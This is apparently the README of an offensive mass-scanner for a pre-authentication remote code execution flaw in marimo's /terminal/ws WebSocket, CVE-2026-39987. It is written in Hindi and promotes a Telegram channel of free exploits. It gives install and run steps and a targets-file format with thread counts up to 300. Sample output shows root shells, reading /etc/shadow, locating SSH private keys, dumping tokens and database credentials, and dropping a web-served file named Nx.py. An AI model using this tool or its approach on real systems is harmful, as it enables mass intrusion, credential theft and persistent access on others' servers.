
marimo एक प्रतिक्रियाशील पायथन नोटबुक है। 0.23.0 से पहले, Marimo में एक Pre-Auth RCE भेद्यता है।
marimo एक reactive Python notebook है। 0.23.0 से पहले, Marimo में Pre-Auth RCE कमजोरी मौजूद है।
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — बिना प्रमाणीकरण वाला WebSocket Pre-Auth RCE
लेखक: Nxploited · टेलीग्राम: @KNxploited
📢 नवीनतम मुफ्त zero-days और exploits के लिए टेलीग्राम चैनल जॉइन करें:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 एक गंभीर Pre-Authentication Remote Code Execution कमजोरी है जो Marimo, एक ओपन-सोर्स reactive Python notebook प्लेटफ़ॉर्म को प्रभावित करती है।
टर्मिनल WebSocket एंडपॉइंट /terminal/ws में authentication सत्यापन का पूरी तरह अभाव है, जिससे कोई भी unauthenticated remote attacker full PTY shell प्राप्त कर सकता है और चल रहे प्रोसेस के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड निष्पादित कर सकता है — अक्सर containerized deployments में root।
अन्य WebSocket एंडपॉइंट्स जैसे /ws के विपरीत, जो कनेक्शन स्वीकार करने से पहले validate_auth() को सही ढंग से लागू करते हैं, /terminal/ws एंडपॉइंट केवल रनिंग मोड और प्लेटफ़ॉर्म संगतता की जाँच करता है — authentication को पूरी तरह छोड़ देता है।
✅ पैच किया गया:
marimo >= 0.23.0❌0.23.0से पहले के सभी संस्करण कमजोर हैं
| गुण | मान |
|---|---|
| CVE ID | CVE-2026-39987 |
| प्रभावित सॉफ़्टवेयर | marimo < 0.23.0 |
| कमजोरी का प्रकार | Pre-Auth RCE via Unauthenticated WebSocket |
| प्रभावित एंडपॉइंट | /terminal/ws |
| अटैक वेक्टर | नेटवर्क |
| Authentication आवश्यक | ❌ कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | ❌ कोई नहीं |
| गंभीरता | 🔴 गंभीर (Critical) |
| प्रभाव | पूर्ण PTY shell · मनमाना कमांड निष्पादन |
| पैच किया गया संस्करण | marimo 0.23.0 |
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
/terminal/ws हैंडलर केवल यह जाँचता है:
यह सेशन टोकन, कुकीज़ या किसी भी प्रकार की पहचान को कभी सत्यापित नहीं करता — जिससे हर खुला (exposed) Marimo इंस्टेंस सीधे shell में बदल जाता है।
.py Marimo नोटबुक्स को पुनरावर्ती (recursively) खोजता और पढ़ता है.env फ़ाइलें · wp-config.php · SSH प्राइवेट कुंजियाँ · /etc/shadowPython 3.10 or higher
निर्भरताएँ इंस्टॉल करें:
pip install websockets rich requests urllib3
या requirements फ़ाइल का उपयोग करके:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
targets.txt नामक एक फ़ाइल बनाएँ, जिसमें प्रत्येक पंक्ति में एक टार्गेट हो।
यह टूल सभी प्रारूप स्वीकार करता है:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
समर्थित प्रारूप: केवल IP · IP:port · डोमेन · डोमेन:port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
थ्रेड रेंज: 1–300। अनुशंसित: 50–150, आपके नेटवर्क के आधार पर।
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s